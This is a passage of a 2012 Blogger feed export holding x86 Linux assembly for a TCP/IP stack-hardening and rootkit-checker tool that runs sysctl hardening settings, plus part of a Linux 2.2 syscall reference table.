&amp;nbsp;push&amp;nbsp; 0x6c746373 &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp; 0x79732f6e &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp; 0x6962732f &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; ebx,esp &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; edx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; esi &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; ecx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; ebx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; ecx,esp &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;int&amp;nbsp;&amp;nbsp;&amp;nbsp; 80h &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor eax,eax &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor ebx,ebx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor ecx,ecx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor edx,edx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov esp,ebp &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;pop ebp &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;jmp long _merikenin_out &lt;br /&gt;&lt;br /&gt;_merikenin_sysctl_w_net.ipv4.conf.all.rp_filter_1: &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push ebp &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ebp, esp &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor eax,eax &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor ebx,ebx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor ecx,ecx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor edx,edx&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; 0xb &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;pop&amp;nbsp;&amp;nbsp;&amp;nbsp; eax &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; edx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x2031&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;1 &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x3d726574&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;=ret &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x6c69665f&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;lif_ &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x70722e6c&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;pr.l &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x6c612e66&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;la.f &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x6e6f632e&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;noc. &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x34767069&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;4vpi &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x2e74656e &amp;nbsp;&amp;nbsp; &amp;nbsp;; .ten &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; esi,esp &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; edx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; 0x772d ;w- &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; ecx,esp &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; edx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp; 0x6c746373 &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp; 0x79732f6e &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp; 0x6962732f &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; ebx,esp &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; edx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; esi &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; ecx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; ebx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; ecx,esp &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;int&amp;nbsp;&amp;nbsp;&amp;nbsp; 80h &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor eax,eax &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor ebx,ebx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor ecx,ecx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor edx,edx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov esp,ebp &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;pop ebp &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;jmp long _merikenin_out &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&lt;br /&gt;_merikenin_jmpmania: &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push ebp &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ebp, esp &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;jmp _merikenin_start2 &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov esp,ebp &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;pop ebp &lt;br /&gt;&lt;br /&gt;_merikenin_start: &lt;br /&gt;push ebp &lt;br /&gt;mov ebp,esp &lt;br /&gt;call (_merikenin_banner) &lt;br /&gt;jmp _merikenin_pr3p4r3_0pt &lt;br /&gt;mov esp,ebp &lt;br /&gt;pop ebp &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;_merikenin_start2: &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push ebp &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ebp, esp &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov ecx,m3nu1 &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov edx,pjg_m3nu1 &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call (_merikenin_writeln) &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov ecx,m3nu2 &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov edx,pjg_m3nu2 &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call (_merikenin_writeln) &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov ecx,m3nu3 &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov edx,pjg_m3nu3 &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call (_merikenin_writeln) &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov ecx,m3nu5 &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov edx,pjg_m3nu5 &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call (_merikenin_writeln) &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov ecx,m3nu6 &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov edx,pjg_m3nu6 &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call (_merikenin_writeln) &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov ecx,c0ns0l3 &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov edx,pjg_c0ns0l3 &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call (_merikenin_writeln) &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp; eax,3&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp; ebx,0&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp; ecx,pilih_on_heap &amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;int&amp;nbsp;&amp;nbsp;&amp;nbsp; 80h &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push eax &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor eax,eax &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov eax, dword [pilih_on_heap] &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;cmp eax,'sys1' &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;je _merikenin_sysctl_w_net.ipv4.conf.all.rp_filter_1 &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;cmp eax,'sys2' &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;je _merikenin_net.ipv4.tcp_syncookies_1&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;cmp eax,'sys3' &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;je _merikenin_net.ipv4.icmp_echo_ignore_broadcasts_1 &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;cmp eax,'rkc1' &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;je _merikenin_jynx &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;cmp eax,'rkc2' &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;je _merikenin_ipsecs &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;jmp _merikenin_out &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov esp,ebp &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;pop ebp &lt;br /&gt;&lt;br /&gt;_merikenin_out: &lt;br /&gt;nop &lt;br /&gt;mov eax,0x01 &lt;br /&gt;int 80h&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-5364581124104957559?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/5364581124104957559'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/5364581124104957559'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/merikeninasm-merikenin-tcpip-stack.html' title='merikenin.asm - Merikenin TCP/IP Stack Hardening and Basic Rootkit Checker version 1.0'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-Egeagyp2xxE/T0Qvz4bkG-I/AAAAAAAAA6A/kAMisKUaP88/s72-c/jasaplus.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-4461744213579023580</id><published>2012-02-21T12:19:00.001-08:00</published><updated>2012-02-21T12:19:59.242-08:00</updated><title type='text'>sysctl -w net.ipv4.conf.all.rp_filter=1</title><content type='html'>====&lt;br /&gt;;sysctl -w net.ipv4.conf.all.rp_filter=1 &lt;br /&gt;;by:ev1lut10n&lt;br /&gt;;dedicated to: Merikenin&lt;br /&gt;;thanks to all my bro and friends&lt;br /&gt;section .data&lt;br /&gt;c0d3r db "sysctl -w net.ipv4.conf.all.rp_filter=1 , c0ded by ev1lut10n",13,10&lt;br /&gt;pjg_c0d3r equ $-c0d3r&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;section .text&lt;br /&gt;global _start:&lt;br /&gt;_start:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; jmp _merikenin_start&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;_merikenin_writeln:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; mov ebp,esp&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; mov ebx,0x1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; mov eax,0x4&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; int 80h&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;mov ah,09h&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;mov dx,offset str1ng&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;int 21h&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; mov esp,ebp&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; pop ebp&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; ret&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;_merikenin_start:&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; push ebp&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ebp, esp&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ecx,c0d3r&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov edx,pjg_c0d3r&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; call _merikenin_writeln&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; xor eax,eax &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; xor ebx,ebx &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; xor ecx,ecx &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; xor edx,edx&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp;&amp;nbsp; 0xb&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; pop&amp;nbsp;&amp;nbsp;&amp;nbsp; eax&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp;&amp;nbsp; edx&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; push 0x2031&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; ;1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; push 0x3d726574&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; ;=ret&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; push 0x6c69665f&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; ;lif_&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; push 0x70722e6c&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; ;pr.l&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; push 0x6c612e66&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; ;la.f&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; push 0x6e6f632e&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; ;noc.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; push 0x34767069&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; ;4vpi&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; push 0x2e74656e &amp;nbsp;&amp;nbsp;&amp;nbsp; ; .ten&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; esi,esp&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp;&amp;nbsp; edx&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp;&amp;nbsp; 0x772d ;w-&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; ecx,esp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp;&amp;nbsp; edx&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp; 0x6c746373&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp; 0x79732f6e &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp; 0x6962732f&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; ebx,esp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp;&amp;nbsp; edx&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp;&amp;nbsp; esi&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp;&amp;nbsp; ecx&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp;&amp;nbsp; ebx&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; ecx,esp&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; int&amp;nbsp;&amp;nbsp;&amp;nbsp; 80h&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov esp,ebp&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; pop ebp&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;_getout:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov eax,0x1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; int 80h&lt;br /&gt;======&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-4461744213579023580?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/4461744213579023580'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/4461744213579023580'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/sysctl-w-netipv4confallrpfilter1.html' title='sysctl -w net.ipv4.conf.all.rp_filter=1'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-9186379488701438957</id><published>2012-02-21T11:45:00.000-08:00</published><updated>2012-02-21T11:45:32.263-08:00</updated><title type='text'>kernel 2.2 syscall table for old hackers</title><content type='html'>&lt;h2&gt;kernel 2.2 syscall table for old hackers&lt;/h2&gt;The following table lists the system calls for the Linux 2.2 kernel. It could also be thought of as an API for the interface between user space and kernel space. My motivation for making this table was to make programming in assembly language easier when using only system calls and not the C library (for more information on this topic, go to &lt;a href="http://www.linuxassembly.org/"&gt;http://www.linuxassembly.org&lt;/a&gt;). On the left are the numbers of the system calls. This number will be put in register %eax. On the right of the table are the types of values to be put into the remaining registers before calling the software interrupt 'int 0x80'. After each syscall, an integer is returned in %eax. &lt;br /&gt;For convenience, the kernel source file where each system call is located is linked to in the column labelled "Source". In order to use the hyperlinks, you must first copy this page to your own machine because the links take you directly to the source code on your system. You must have the kernel source installed (or linked from) under '/usr/src/linux' for this to work. &lt;br /&gt;&lt;table border="1"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;%eax&lt;/th&gt;&lt;th&gt;Name&lt;/th&gt;&lt;th&gt;Source&lt;/th&gt; &lt;th&gt;%ebx&lt;/th&gt;&lt;th&gt;%ecx&lt;/th&gt;&lt;th&gt;%edx&lt;/th&gt;&lt;th&gt;%esx&lt;/th&gt;&lt;th&gt;%edi&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;sys_exit&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/exit.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;sys_fork&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;arch/i386/kernel/process.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#pt_regs"&gt;struct pt_regs&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;sys_read&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/read_write.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;char *&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#size_t"&gt;size_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;4&lt;/td&gt;&lt;td&gt;sys_write&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/read_write.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;const char *&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#size_t"&gt;size_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;5&lt;/td&gt;&lt;td&gt;sys_open&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/open.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;const char *&lt;/td&gt;&lt;td&gt;int&lt;/td&gt;&lt;td&gt;int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;6&lt;/td&gt;&lt;td&gt;sys_close&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/open.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;7&lt;/td&gt;&lt;td&gt;sys_waitpid&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/exit.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;pid_t&lt;/td&gt;&lt;td&gt;unsigned int 